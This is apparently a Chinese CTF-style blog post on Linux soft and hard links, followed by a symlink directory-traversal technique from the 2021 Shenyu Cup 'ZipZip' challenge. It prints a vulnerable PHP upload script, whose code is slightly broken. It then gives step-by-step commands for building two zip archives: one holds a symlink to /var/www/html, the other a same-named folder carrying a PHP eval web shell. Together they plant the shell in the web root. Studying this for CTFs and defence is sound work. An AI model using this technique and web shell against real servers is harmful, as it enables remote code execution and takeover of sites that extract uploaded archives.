软链接连接目录


什么是软链接?

  软连接是linux中一个常用命令,
  它的功能是为某一个文件在另外一个位置建立一个同步的链接。
  软连接类似与c语言中的指针,传递的是文件的地址;
  更形象一些,软连接类似于WINDOWS系统中的快捷方式。
  例如,在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立hello的软连接。
  通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。

软链接创建方式:
ln -s [target] [link_name]

和软链接相对应的有硬链接,和软链接相比,硬链接不仅仅是一个指向目标文件(文件夹)的快捷方式,里面同时还有具体的文件内容,相当于将文件复制了一份.但是和简单的复制文件不同的是,源文件和硬链接会同步变化,如下示例:

root@VM-0-7-ubuntu:~/h0cksr1# ls ../h0cksr2
root@VM-0-7-ubuntu:~/h0cksr1# touch ../h0cksr2/h0cksr.txt
root@VM-0-7-ubuntu:~/h0cksr1# echo this_is_a_test > ../h0cksr2/h0cksr.txt 
root@VM-0-7-ubuntu:~/h0cksr1# cat ../h0cksr2/h0cksr.txt 
this_is_a_test
root@VM-0-7-ubuntu:~/h0cksr1# ln -s ../h0cksr2/h0cksr.txt link1
root@VM-0-7-ubuntu:~/h0cksr1# ln ../h0cksr2/h0cksr.txt link2
root@VM-0-7-ubuntu:~/h0cksr1# ls -al
total 12
drwxr-xr-x  2 root root 4096 Nov 16 13:06 .
drwx------ 12 root root 4096 Nov 16 13:03 ..
lrwxrwxrwx  1 root root   21 Nov 16 13:06 link1 -> ../h0cksr2/h0cksr.txt
-rw-r--r--  2 root root   15 Nov 16 13:05 link2
root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2
link1: symbolic link to ../h0cksr2/h0cksr.txt
link2: ASCII text
root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2
this_is_a_test
this_is_a_test
root@VM-0-7-ubuntu:~/h0cksr1# echo This_is_a_new_test_look_what_will_change > link2
root@VM-0-7-ubuntu:~/h0cksr1# cat link1 link2
This_is_a_new_test_look_what_will_change
This_is_a_new_test_look_what_will_change
root@VM-0-7-ubuntu:~/h0cksr1# file link1 link2
link1: symbolic link to ../h0cksr2/h0cksr.txt
link2: ASCII text
root@VM-0-7-ubuntu:~/h0cksr1# ls -al
total 12
drwxr-xr-x  2 root root 4096 Nov 16 13:06 .
drwx------ 12 root root 4096 Nov 16 13:03 ..
lrwxrwxrwx  1 root root   21 Nov 16 13:06 link1 -> ../h0cksr2/h0cksr.txt
-rw-r--r--  2 root root   41 Nov 16 13:10 link2
root@VM-0-7-ubuntu:~/h0cksr1# ln /root can_not_link_to_dir
ln: /root: hard link not allowed for directory
root@VM-0-7-ubuntu:~/h0cksr1# 

利用软链接目录穿越:

root@VM-0-7-ubuntu:~# cd /tmp
root@VM-0-7-ubuntu:/tmp# mkdir /root/h0cksr
root@VM-0-7-ubuntu:/tmp# ln -s /root/h0cksr/ link
root@VM-0-7-ubuntu:/tmp# ls -l
lrwxrwxrwx 1 root   root     13 Nov 16 13:17 link -> /root/h0cksr/
root@VM-0-7-ubuntu:/tmp# touch shell.php
root@VM-0-7-ubuntu:/tmp# echo '<?php phpinfo();eval($_POST[0]);?>' > shell.php
root@VM-0-7-ubuntu:/tmp# cat shell.php 
<?php phpinfo();eval($_POST[0]);?>
root@VM-0-7-ubuntu:/tmp# mv shell.php link/shell.php
root@VM-0-7-ubuntu:/tmp# ls link
shell.php
root@VM-0-7-ubuntu:/tmp# ls /root/h0cksr
shell.php
root@VM-0-7-ubuntu:/tmp# cat /root/h0cksr/shell.php 
<?php phpinfo();eval($_POST[0]);?>
root@VM-0-7-ubuntu:/tmp# 

可以看到,文件shell.php上传到软链接后,在软链接对应的的源文件夹里面发现确实有一个shell.php,突破了只能在tmp文件夹上传文件的限制
题目参考:2021深育杯Web-ZipZip
利用场景:
文件上传路径受到限制

upload.php
<php?
function unzip_file(string $zipName,string $dest){
//检测要解压压缩包是否存在
if(!is_file($zipName)){
return false;
}
//检测目标路径是否存在
if(!is_dir($dest)){
mkdir($dest,0777,true);
}
$zip=new ZipArchive();
if($zip->open($zipName))
$zip->extractTo($dest);
$zip->close();
return true;
}else{
return false;
}
}

$zip_file=$_FILE['file']['tmp_name'];
$dest='/tmp';
if(strstr($zip_file,'.')=='.zip'){
    unzip_file($zip_file,$dest);
}
else{
    die('Just Zip');
}
?>

可以通过以下步骤构造zip文件上传

ln -s /var/www/html/ h0cksr #创建指向html的软链接
zip --symlinks h0cr1.zip h0cksr #将软链接h0cksr打包到h0cksr1.zip中上传
touch shell.php
echo '<?php eval($_POST[0]); ?>' > shell.php
mkdir h0cksr #创建一个和软链接同名的文件夹
mv shell.php h0cksr/shell.php #将shell.php文件上传到和软链接同名的文件夹中
zip -r h0cksr2.zip h0cksr #将h0cksrwe文件夹打包到h0cksr2.zip压缩包中上传

按以上步骤执行后shell.php文件将会上传在/var/www/html目录中

第一个压缩包h0cksr1.zip上传了一个名为h0cksr的指向/var/www/html的软链接
第二个压缩包h0cksr2.zip上传了一个名为h0cksr的文件夹,文件夹里面有一个shell.php文件
上传h0cksr文件夹后,shell.php所在位置为:/tmp/h0cksr/shell.php
因为/tmp/h0cksr是指向/var/www/html的软链,所以shell.php文件就上传到了/var/www/html目录下
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇